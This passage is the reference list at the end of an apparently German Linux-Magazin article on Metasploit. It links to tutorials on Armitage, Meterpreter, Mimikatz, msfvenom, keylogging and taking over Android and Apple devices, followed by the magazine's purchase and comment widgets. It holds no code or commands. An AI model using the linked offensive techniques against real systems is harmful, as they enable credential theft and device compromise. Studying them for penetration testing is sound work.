  6. Tutorialspoint: https://www.tutorialspoint.com/metasploit/metasploit_armitage_gui.htm
  7. Offensive Security: https://www.offensive-security.com/metasploit-unleashed/armitage/
  8. Armitage: http://www.fastandeasyhacking.com/manual#multi
  9. Meterpreter: https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/
  10. Mimikatz: https://www.offensive-security.com/metasploit-unleashed/mimikatz/
  11. Bundestagshack: https://www.linux-magazin.de/ausgaben/2016/04/bundestags-it/
  12. Metasploitable: https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/https://information.rapid7.com/download-metasploitable-2017.html
  13. Image konvertieren: https://linux-hacking-guide.blogspot.com/2015/05/convert-vmware-virtual-machine-to-kvm.html
  14. Msfvenom: https://www.hackingarticles.in/msfvenom-tutorials-beginners/
  15. Keylogger: https://www.offensive-security.com/metasploit-unleashed/keylogging/
  16. Meterpreter und Apple: https://meterpreter.org/category/apple/
  17. Android übernehmen: https://mattionline.de/metasploit-meterpreter-android-smartphone/
DIESEN ARTIKEL ALS PDF KAUFEN
EXPRESS-KAUF ALS PDFUmfang: 9 HeftseitenPreis €0,99
(inkl. 19% MwSt.)
LINUX-MAGAZIN KAUFEN
EINZELNE AUSGABE Print-Ausgaben Digitale Ausgaben
ABONNEMENTS Print-Abos Digitales Abo
TABLET & SMARTPHONE APPS Readly Logo
E-Mail Benachrichtigung
Benachrichtige mich zu:
0 Kommentare
Älteste
Neuste Beste Bewertung
Nach oben